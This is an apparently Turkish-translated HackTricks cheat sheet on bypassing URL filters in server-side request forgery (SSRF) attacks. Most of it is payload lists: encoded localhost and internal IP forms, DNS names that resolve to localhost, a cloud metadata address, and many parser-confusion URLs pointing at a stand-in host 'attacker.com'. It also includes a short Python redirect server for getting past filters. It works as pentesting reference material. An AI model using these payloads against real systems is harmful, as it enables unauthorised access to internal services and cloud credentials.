hacktricks/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md
2024-02-10 18:14:16 +00:00

12 KiB
Raw Blame History

URL Format Bypass

AWS hacklemeyi sıfırdan kahramanla öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'ı desteklemenin diğer yolları:

En önemli olan zayıflıkları bulun, böylece daha hızlı düzeltebilirsiniz. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. Ücretsiz deneyin bugün.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}


Localhost

# Localhost
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://127.1:80
http://127.000000000000000.1
http://0
http:@0/ --> http://localhost/
http://0.0.0.0:80
http://localhost:80
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:3128/ Squid
http://[0000::1]:80/
http://[0:0:0:0:0:ffff:127.0.0.1]/thefile
http://①②⑦.⓪.⓪.⓪

# CDIR bypass
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0

# Dot bypass
127。0。0。1
127%E3%80%820%E3%80%820%E3%80%821

# Decimal bypass
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1

# Octal Bypass
http://0177.0000.0000.0001
http://00000177.00000000.00000000.00000001
http://017700000001

# Hexadecimal bypass
127.0.0.1 = 0x7f 00 00 01
http://0x7f000001/ = http://127.0.0.1
http://0xc0a80014/ = http://192.168.0.20
0x7f.0x00.0x00.0x01
0x0000007f.0x00000000.0x00000000.0x00000001

# Add 0s bypass
127.000000000000.1

# You can also mix different encoding formats
# https://www.silisoftware.com/tools/ipconverter.php

# Malformed and rare
localhost:+11211aaa
localhost:00011211aaaa
http://0/
http://127.1
http://127.0.1

# DNS to localhost
localtest.me = 127.0.0.1
customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1
mail.ebc.apple.com = 127.0.0.6 (localhost)
127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP)
www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com
http://customer1.app.localhost.my.company.127.0.0.1.nip.io
http://bugbounty.dod.network = 127.0.0.2 (localhost)
1ynrnhl.xip.io == 169.254.169.254
spoofed.burpcollaborator.net = 127.0.0.1

Domain Parser

Alan Adı Ayrıştırıcı

https:attacker.com
https:/attacker.com
http:/\/\attacker.com
https:/\attacker.com
//attacker.com
\/\/attacker.com/
/\/attacker.com/
/attacker.com
%0D%0A/attacker.com
#attacker.com
#%20@attacker.com
@attacker.com
http://169.254.1698.254\@attacker.com
attacker%00.com
attacker%E3%80%82com
attacker。com
ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾
⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗
⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰
⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ
Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ
ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

Alan Adı Karışıklığı

Domain confusion (alan adı karışıklığı), SSRF saldırılarında kullanılan bir tekniktir. Bu teknik, hedef uygulamanın bir URL'yi işlerken, alan adı doğrulamasını atlamak veya yanıltmak için kullanılır. Bu sayede saldırgan, hedef uygulama üzerinde istediği sunucuya istek gönderebilir.

Bu teknik, hedef uygulamanın URL'yi işlerken, alan adını doğrulamak için kullanılan yöntemlere dayanır. Örneğin, uygulama bir URL'nin alan adını doğrulamak için DNS sorgusu yapabilir veya URL'nin alan adını çözmek için yerel bir DNS sunucusuna başvurabilir. Saldırgan, bu doğrulama yöntemlerini yanıltmak veya atlamak için farklı alan adı formatlarını kullanabilir.

Örneğin, saldırgan bir SSRF saldırısı gerçekleştirmek için hedef uygulamaya aşağıdaki URL'yi gönderebilir:

http://example.com@attacker-server.com

Bu URL'de, saldırgan example.com alan adını yanıltıcı bir şekilde kullanarak, aslında attacker-server.com adlı sunucuya istek gönderir. Hedef uygulama, URL'yi işlerken example.com alan adını doğrulamak için DNS sorgusu yapabilir, ancak saldırganın isteği attacker-server.com sunucusuna yönlendirilir.

Domain confusion tekniği, SSRF saldırılarında etkili bir şekilde kullanılabilir. Bu nedenle, uygulama geliştiricilerinin URL işleme ve alan adı doğrulama yöntemlerini dikkatlice gözden geçirmeleri önemlidir.

# Try also to change attacker.com for 127.0.0.1 to try to access localhost
# Try replacing https by http
# Try URL-encoded characters
https://{domain}@attacker.com
https://{domain}.attacker.com
https://{domain}%6D@attacker.com
https://attacker.com/{domain}
https://attacker.com/?d={domain}
https://attacker.com#{domain}
https://attacker.com@{domain}
https://attacker.com#@{domain}
https://attacker.com%23@{domain}
https://attacker.com%00{domain}
https://attacker.com%0A{domain}
https://attacker.com?{domain}
https://attacker.com///{domain}
https://attacker.com\{domain}/
https://attacker.com;https://{domain}
https://attacker.com\{domain}/
https://attacker.com\.{domain}
https://attacker.com/.{domain}
https://attacker.com\@@{domain}
https://attacker.com:\@@{domain}
https://attacker.com#\@{domain}
https://attacker.com\anything@{domain}/
https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com

# On each IP position try to put 1 attackers domain and the others the victim domain
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/

#Parameter pollution
next={domain}&next=attacker.com

Yollar ve Uzantılar Geçme

Eğer URL'nin bir yol veya uzantı ile bitmesi veya bir yol içermesi gerekiyorsa, aşağıdaki geçiş yöntemlerinden birini deneyebilirsiniz:

https://metadata/vulerable/path#/expected/path
https://metadata/vulerable/path#.extension
https://metadata/expected/path/..%2f..%2f/vulnerable/path

Fuzzing

recollapse adlı araç, kullanılan regex'i atlamak için verilen bir girdiden çeşitlilikler üretebilir. Daha fazla bilgi için bu yazıyı kontrol edin.

Yönlendirme ile bypass

Sunucunun, bir SSRF'nin orijinal isteğini filtrelediği ancak olası bir yönlendirme yanıtını filtrelemediği mümkün olabilir.
Örneğin, url=https://www.google.com/ üzerinden SSRF'ye karşı savunmasız bir sunucu, url parametresini filtreleyebilir. Ancak, yönlendirmek istediğiniz yere bir python sunucusuyla 302 yanıtı kullanırsanız, 127.0.0.1 gibi filtrelenmiş IP adreslerine veya hatta filtrelenmiş protokollere (örneğin gopher) erişebilirsiniz.
Bu rapora göz atın.

#!/usr/bin/env python3

#python3 ./redirector.py 8000 http://127.0.0.1/

import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

if len(sys.argv)-1 != 2:
print("Usage: {} <port_number> <url>".format(sys.argv[0]))
sys.exit()

class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()

HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()

ıklanan Hileler

Tersbölü işareti hilesi

Tersbölü işareti hilesi, WHATWG URL Standardı ve RFC3986 arasındaki bir farkı sömürür. RFC3986, URI'ler için genel bir çerçeve iken WHATWG, web URL'leri için özeldir ve modern tarayıcılar tarafından benimsenmiştir. Temel fark, WHATWG standardının tersbölü işaretini (\) ileri eğik çizgi (/) ile eşdeğer olarak tanımasıdır. Bu, URL'lerin nasıl ayrıştırıldığını etkiler ve özellikle bir URL'deki ana bilgisayardan yola geçişi işaretler.

https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg

Diğer Karışıklıklar

https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/

Resim kaynağı: https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/

Referanslar

En önemli güvenlik açıklarını bulun, böylece daha hızlı düzeltebilirsiniz. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. Ücretsiz deneyin bugün.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

AWS hackleme konusunda sıfırdan kahramana dönüşmek için htARTE (HackTricks AWS Red Team Expert)'ı öğrenin!

HackTricks'i desteklemenin diğer yolları: